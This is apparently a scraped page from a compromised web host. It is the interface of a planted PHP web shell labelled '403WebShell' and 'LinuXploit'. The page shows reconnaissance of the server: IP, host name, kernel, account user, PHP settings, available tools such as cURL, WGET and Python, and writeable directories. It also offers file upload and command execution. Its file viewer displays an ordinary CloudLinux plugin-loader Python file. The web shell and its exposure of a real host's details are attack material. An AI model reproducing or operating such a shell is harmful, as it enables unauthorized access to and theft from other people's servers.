Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.220.110.45
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib64/python3.11/site-packages/lvestats/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib64/python3.11/site-packages/lvestats/core/plugin_loader.py
# coding=utf-8
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

import importlib.util
import inspect
import logging
import os
import sys

from lvestats.core.plugin import LveStatsPlugin


class PluginLoader(object):

    def check_incorrect_symlink(self, path):
        """
        Check correcting symlink. If symlink incorrect return True
        :param str path: path to file or symlink
        :return bool:
        """
        if os.path.islink(path) and not os.path.exists(os.path.realpath(path)):
            self.log.warning('Incorrect symlink %s', path)
            return True

    def __init__(self, plugins_folder):
        self.log = logging.getLogger(__name__)
        classes_loaded = []

        if os.path.isdir(plugins_folder):
            file_names = (fn for fn in os.listdir(plugins_folder) if fn.endswith('.py'))

            for file_name in file_names:
                try:
                    module_name, _ = os.path.splitext(file_name)
                    full_path = os.path.join(plugins_folder, file_name)
                    if self.check_incorrect_symlink(full_path):
                        continue
                    spec = importlib.util.spec_from_file_location(module_name, full_path)
                    if spec is None:
                        self.log.error('Unable to find spec for %s', file_name)
                        continue
                    module = importlib.util.module_from_spec(spec)
                    spec.loader.exec_module(module)
                    # Load only subclasses of LveStatsPlugin
                    classes = [x for x in list(module.__dict__.values())
                               if inspect.isclass(x) and issubclass(x, LveStatsPlugin) and x is not LveStatsPlugin]
                    if not classes:
                        self.log.error('No classes to load found in %s', file_name)
                        continue
                    classes_loaded.extend(classes)
                    sys.modules[module.__name__] = module
                except Exception as ex:
                    self.log.exception('Unable to load %s due to exception %s', file_name, ex)

        self.plugins = classes_loaded

Youez - 2016 - github.com/yon3zu
LinuXploit